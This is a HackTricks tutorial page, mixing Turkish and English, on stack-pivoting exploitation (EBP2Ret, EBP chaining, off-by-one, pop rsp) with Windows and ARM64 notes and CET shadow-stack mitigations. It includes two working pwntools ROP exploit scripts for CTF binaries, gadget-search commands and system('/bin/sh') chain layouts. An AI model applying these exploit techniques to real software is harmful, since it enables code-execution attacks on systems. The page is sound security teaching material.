Stack Pivoting - EBP2Ret - EBP chaining
Reading time: 13 minutes
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking'i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter'da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.
Temel Bilgiler
Bu teknik, çerçeve işaretçisinin dikkatli kullanımı ve leave; ret
talimat dizisi sayesinde birden fazla fonksiyonun yürütülmesini zincirlemek için Base Pointer (EBP/RBP)'ı manipüle etme yeteneğinden yararlanır.
Hatırlatma olarak, x86/x86-64 üzerinde leave
şu işlemlere eşdeğerdir:
mov rsp, rbp ; mov esp, ebp on x86
pop rbp ; pop ebp on x86
ret
And as the saved EBP/RBP is in the stack before the saved EIP/RIP, it's possible to control it by controlling the stack.
Notlar
- 64-bit'te, EBP→RBP ve ESP→RSP yerine koyun. Anlamları aynıdır.
- Bazı derleyiciler frame pointer'ı atlayabilir (bkz. “EBP might not be used”). Bu durumda,
leave
görünmeyebilir ve bu teknik işe yaramaz.
EBP2Ret
Bu teknik özellikle kaydedilmiş EBP/RBP'yi değiştirebildiğiniz ama EIP/RIP'i doğrudan değiştirme imkânınız olmadığı durumlarda faydalıdır. Fonksiyon epilogu davranışından yararlanır.
If, during fvuln
's execution, you manage to inject a fake EBP in the stack that points to an area in memory where your shellcode/ROP chain address is located (plus 8 bytes on amd64 / 4 bytes on x86 to account for the pop
), you can indirectly control RIP. As the function returns, leave
sets RSP to the crafted location and the subsequent pop rbp
decreases RSP, effectively making it point to an address stored by the attacker there. Then ret
will use that address.
Note how you need to know 2 addresses: the address where ESP/RSP is going to go, and the value stored at that address that ret
will consume.
Exploit Construction
First you need to know an address where you can write arbitrary data/addresses. RSP will point here and consume the first ret
.
Then, you need to choose the address used by ret
that will transfer execution. You could use:
- A valid ONE_GADGET address.
- The address of
system()
followed by the appropriate return and arguments (on x86:ret
target =&system
, then 4 junk bytes, then&"/bin/sh"
). - The address of a
jmp esp;
gadget (ret2esp) followed by inline shellcode. - A ROP chain staged in yazılabilir bellekte.
Remember that before any of these addresses in the controlled area, there must be space for the pop ebp/rbp
from leave
(8B on amd64, 4B on x86). You can abuse these bytes to set a second fake EBP and keep control after the first call returns.
Off-By-One Exploit
There's a variant used when you can only modify the least significant byte of the saved EBP/RBP. In such a case, the memory location storing the address to jump to with ret
must share the first three/five bytes with the original EBP/RBP so a 1-byte overwrite can redirect it. Usually the low byte (offset 0x00) is increased to jump as far as possible within a nearby page/aligned region.
It’s also common to use a RET sled in the stack and put the real ROP chain at the end to make it more probable that the new RSP points inside the sled and the final ROP chain is executed.
EBP Chaining
By placing a controlled address in the saved EBP
slot of the stack and a leave; ret
gadget in EIP/RIP
, it's possible to move ESP/RSP
to an attacker-controlled address.
Now RSP
is controlled and the next instruction is ret
. Place in the controlled memory something like:
&(next fake EBP)
->leave
içindekipop ebp/rbp
tarafından yüklenir.&system()
->ret
tarafından çağrılır.&(leave;ret)
->system
sona erdikten sonra RSP'yi bir sonraki sahte EBP'ye taşır ve devam eder.&("/bin/sh")
->system
için argüman.
This way it's possible to chain several fake EBPs to control the flow of the program.
This is like a ret2lib, but more complex and only useful in edge-cases.
Moreover, here you have an example of a challenge that uses this technique with a stack leak to call a winning function. This is the final payload from the page:
from pwn import *
elf = context.binary = ELF('./vuln')
p = process()
p.recvuntil('to: ')
buffer = int(p.recvline(), 16)
log.success(f'Buffer: {hex(buffer)}')
LEAVE_RET = 0x40117c
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229
payload = flat(
0x0, # rbp (could be the address of another fake RBP)
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,
elf.sym['winner']
)
payload = payload.ljust(96, b'A') # pad to 96 (reach saved RBP)
payload += flat(
buffer, # Load leaked address in RBP
LEAVE_RET # Use leave to move RSP to the user ROP chain and ret to execute it
)
pause()
p.sendline(payload)
print(p.recvline())
amd64 alignment tip: System V ABI, çağrı noktalarında 16-byte stack hizalaması gerektirir. Eğer chain'iniz
system
gibi fonksiyonları çağırıyorsa, hizalamayı korumak vemovaps
çöküşlerinden kaçınmak için çağrıdan önce bir alignment gadget (ör.ret
veyasub rsp, 8 ; ret
) ekleyin.
EBP kullanılmayabilir
As explained in this post, if a binary is compiled with some optimizations or with frame-pointer omission, the EBP/RBP never controls ESP/RSP. Therefore, any exploit working by controlling EBP/RBP will fail because the prologue/epilogue doesn’t restore from the frame pointer.
- Optimizasyon yok / frame pointer kullanılıyor:
push %ebp # save ebp
mov %esp,%ebp # set new ebp
sub $0x100,%esp # increase stack size
.
.
.
leave # restore ebp (leave == mov %ebp, %esp; pop %ebp)
ret # return
- Optimize edilmiş / frame pointer atlandı:
push %ebx # save callee-saved register
sub $0x100,%esp # increase stack size
.
.
.
add $0x10c,%esp # reduce stack size
pop %ebx # restore
ret # return
On amd64'te genellikle leave ; ret
yerine pop rbp ; ret
görürsünüz, ancak frame pointer tamamen atlanmışsa rbp
tabanlı bir epilog aracılığıyla pivot yapılamaz.
RSP'yi kontrol etmenin diğer yolları
pop rsp
gadget
In this page you can find an example using this technique. O challenge için 2 belirli argümanla bir fonksiyon çağırmak gerekiyordu; bir pop rsp
gadget vardı ve stack'ten bir leak mevcuttu:
# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
# This version has added comments
from pwn import *
elf = context.binary = ELF('./vuln')
p = process()
p.recvuntil('to: ')
buffer = int(p.recvline(), 16) # Leak from the stack indicating where is the input of the user
log.success(f'Buffer: {hex(buffer)}')
POP_CHAIN = 0x401225 # pop all of: RSP, R13, R14, R15, ret
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229 # pop RSI and R15
# The payload starts
payload = flat(
0, # r13
0, # r14
0, # r15
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0, # r15
elf.sym['winner']
)
payload = payload.ljust(104, b'A') # pad to 104
# Start popping RSP, this moves the stack to the leaked address and
# continues the ROP chain in the prepared payload
payload += flat(
POP_CHAIN,
buffer # rsp
)
pause()
p.sendline(payload)
print(p.recvline())
xchg , rsp gadget
pop <reg> <=== return pointer
<reg value>
xchg <reg>, rsp
jmp esp
ret2esp tekniğini buradan inceleyin:
Pivot gadgets'ı hızlıca bulma
Klasik pivot primitives'leri aramak için favori gadget finder'ınızı kullanın:
leave ; ret
on functions or in librariespop rsp
/xchg rax, rsp ; ret
add rsp, <imm> ; ret
(oradd esp, <imm> ; ret
on x86)
Örnekler:
# Ropper
ropper --file ./vuln --search "leave; ret"
ropper --file ./vuln --search "pop rsp"
ropper --file ./vuln --search "xchg rax, rsp ; ret"
# ROPgadget
ROPgadget --binary ./vuln --only "leave|xchg|pop rsp|add rsp"
Classic pivot staging pattern
Birçok CTF/exploit'te kullanılan sağlam bir pivot stratejisi:
- Küçük bir initial overflow kullanarak
read
/recv
ile büyük bir yazılabilir bölgeye (ör..bss
, heap, or mapped RW memory) çağırın ve tam bir ROP chain'i oraya yerleştirin. - RSP'i o bölgeye taşımak için bir pivot gadget'ına (
leave ; ret
,pop rsp
,xchg rax, rsp ; ret
) geri dönün. - Staged chain ile devam edin (ör. leak libc,
mprotect
çağırın, sonraread
ile shellcode'u okuyun ve ona jump edin).
Windows: Destructor-loop weird-machine pivots (Revit RFA case study)
Client-side parser'lar bazen destructor loop'lar uygular; bunlar dolaylı olarak attacker-controlled object field'larından türetilen bir function pointer'ı çağırır. Eğer her yineleme tam olarak bir dolaylı çağrı (bir “one-gadget” machine) sunuyorsa, bunu güvenilir bir stack pivot ve ROP entry'ye dönüştürebilirsiniz.
Observed in Autodesk Revit RFA deserialization (CVE-2025-5037):
- Türü
AString
olan crafted object'ler offset 0'da attacker bytes'a işaret eden bir pointer yerleştirir. - The destructor loop etkili olarak her nesne için bir gadget çalıştırır:
rcx = [rbx] ; object pointer (AString*)
rax = [rcx] ; pointer to controlled buffer
call qword ptr [rax] ; execute [rax] once per object
İki pratik pivot:
- Windows 10 (32-bit heap addrs): hizalanmamış “monster gadget” içinde
8B E0
→mov esp, eax
, sonundaret
bulunan bir yapı kullanarak call primitive'den heap-tabanlı ROP zincirine pivot yapmak. - Windows 11 (full 64-bit addrs): sınırlı bir weird-machine pivotu sürmek için iki obje kullanın:
- Gadget 1:
push rax ; pop rbp ; ret
(orijinal rax'i rbp'ye taşır) - Gadget 2:
leave ; ... ; ret
(mov rsp, rbp ; pop rbp ; ret
olur), birinci objenin buffer'ına pivot yapar; orada geleneksel bir ROP zinciri takip eder.
- Gadget 1:
Windows x64 için pivot sonrası ipuçları:
- 0x20-byte shadow space'e saygı gösterin ve
call
noktalarından önce 16-byte hizalamayı koruyun. Literalleri dönüş adresinin üzerine koymak velea rcx, [rsp+0x20] ; call rax
gibi bir gadget kullanıp ardındanpop rax ; ret
ile kontrol akışını bozmadan stack adreslerini geçirmek sıklıkla pratiktir. - Non-ASLR yardımcı modüller (varsa) kararlı gadget havuzları ve
LoadLibraryW
/GetProcAddress
gibi importlar sağlayarakucrtbase!system
gibi hedefleri dinamik olarak çözmenize imkân tanır. - Yazılabilir bir thunk aracılığıyla eksik gadget'ları oluşturma: eğer vaat vadeden bir sıra yazılabilir bir function pointer üzerinden bir
call
ile bitiyorsa (ör. DLL import thunk veya .data içindeki function pointer), o pointer'ıpop rax ; ret
gibi zararsız tek adımlık bir instruction ile üzerine yazın. Sıra daha sonraret
ile bitmiş gibi davranır (ör.mov rdx, rsi ; mov rcx, rdi ; ret
), bu da diğerlerini bozmayarak Windows x64 arg register'larını yüklemek için çok değerlidir.
Tam zincir inşası ve gadget örnekleri için aşağıdaki referansa bakın.
Stack pivoting'i bozan modern mitigasyonlar (CET/Shadow Stack)
Modern x86 CPU'lar ve OS'ler giderek daha fazla CET Shadow Stack (SHSTK) kullanıyor. SHSTK etkinleştirildiğinde, ret
normal yığındaki dönüş adresini donanım korumalı shadow stack ile karşılaştırır; herhangi bir uyumsuzluk Control-Protection hatası oluşturur ve süreci sonlandırır. Bu yüzden EBP2Ret/leave;ret-tabanlı pivot gibi teknikler, pivot edilmiş bir stack'ten ilk ret
yürütüldüğünde çökecektir.
- Arka plan ve daha derin detaylar için bakınız:
- Linux'ta hızlı kontroller:
# 1) Is the binary/toolchain CET-marked?
readelf -n ./binary | grep -E 'x86.*(SHSTK|IBT)'
# 2) Is the CPU/kernel capable?
grep -E 'user_shstk|ibt' /proc/cpuinfo
# 3) Is SHSTK active for this process?
grep -E 'x86_Thread_features' /proc/$$/status # expect: shstk (and possibly wrss)
# 4) In pwndbg (gdb), checksec shows SHSTK/IBT flags
(gdb) checksec
-
Lab/CTF için notlar:
-
Bazı modern distro'lar, donanım ve glibc desteği mevcut olduğunda CET-enabled ikili dosyalar için SHSTK etkinleştirir. VM'lerde kontrollü test için SHSTK, kernel boot parametresi
nousershstk
ile sistem genelinde devre dışı bırakılabilir veya başlatma sırasında glibc tunables ile seçici olarak etkinleştirilebilir (bkz. referanslar). Üretim hedeflerinde mitigasyonları devre dışı bırakmayın. -
JOP/COOP veya SROP-tabanlı teknikler bazı hedeflerde hâlâ işe yarayabilir, ancak SHSTK özellikle
ret
-tabanlı pivotları kırar. -
Windows notu: Windows 10+ user-mode ve Windows 11 kernel-mode “Hardware-enforced Stack Protection” (shadow stacks üzerine kurulu) sunar. CET-compatible process'ler
ret
üzerinde stack pivoting/ROP'u engeller; geliştiriciler CETCOMPAT ve ilgili politikalar aracılığıyla opt-in yapar (bkz. referans).
ARM64
ARM64'te, fonksiyonların prologue ve epilogları stack üzerinde SP register'ını saklamaz ve geri yüklemez. Ayrıca, RET
instruction'ı SP'nin işaret ettiği adrese dönmez, bunun yerine x30
içindeki adrese döner.
Bu nedenle, varsayılan olarak sadece epilogu kötüye kullanarak stack üzerinde bazı verileri overwrite ederek SP register'ını kontrol edemezsiniz. Ve SP'yi kontrol etmeyi başarsanız bile yine de x30
register'ını kontrol etmenin bir yoluna ihtiyaç duyarsınız.
- prologue
sub sp, sp, 16
stp x29, x30, [sp] // [sp] = x29; [sp + 8] = x30
mov x29, sp // FP points to frame record
- epilogue
ldp x29, x30, [sp] // x29 = [sp]; x30 = [sp + 8]
add sp, sp, 16
ret
caution
ARM64'te stack pivoting'e benzer bir şey yapmak için yol, SP'yi kontrol edebilmek (bir register'ın değerini SP'ye aktaran bir durumu kontrol ederek veya SP'nin adresini stack'ten aldığı ve overflow olduğumuz bir durum nedeniyle) ve sonra epilogu kötüye kullanarak kontrollü bir SP
'den x30
register'ını yükleyip RET
ile oraya dönmektir.
Also in the following page you can see the equivalent of Ret2esp in ARM64:
Referanslar
- https://bananamafia.dev/post/binary-rop-stackpivot/
- https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting
- https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html
- 64 bits, off by one exploitation with a rop chain starting with a ret sled
- https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html
- 64 bit, no relro, canary, nx and pie. Program stack veya pie için bir leak verir ve bir WWW of a qword sağlar. Önce stack leak'i elde edin ve WWW'yi kullanarak pie leak'ini geri alın. Sonra WWW'yi
.fini_array
girdilerini suistimal edip__libc_csu_fini
çağırarak bir eternal loop yaratmak için kullanın (daha fazla bilgi burada). Bu "eternal" write'ı suistimal ederek .bss içine bir ROP zinciri yazılır ve sonunda RBP ile pivot yaparak çağrılır. - Linux kernel documentation: Control-flow Enforcement Technology (CET) Shadow Stack — SHSTK,
nousershstk
,/proc/$PID/status
flag'leri vearch_prctl
ile etkinleştirme hakkında detaylar. https://www.kernel.org/doc/html/next/x86/shstk.html - Microsoft Learn: Kernel Mode Hardware-enforced Stack Protection (CET shadow stacks on Windows). https://learn.microsoft.com/en-us/windows-server/security/kernel-mode-hardware-stack-protection
- Crafting a Full Exploit RCE from a Crash in Autodesk Revit RFA File Parsing (ZDI blog)
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking'i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter'da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.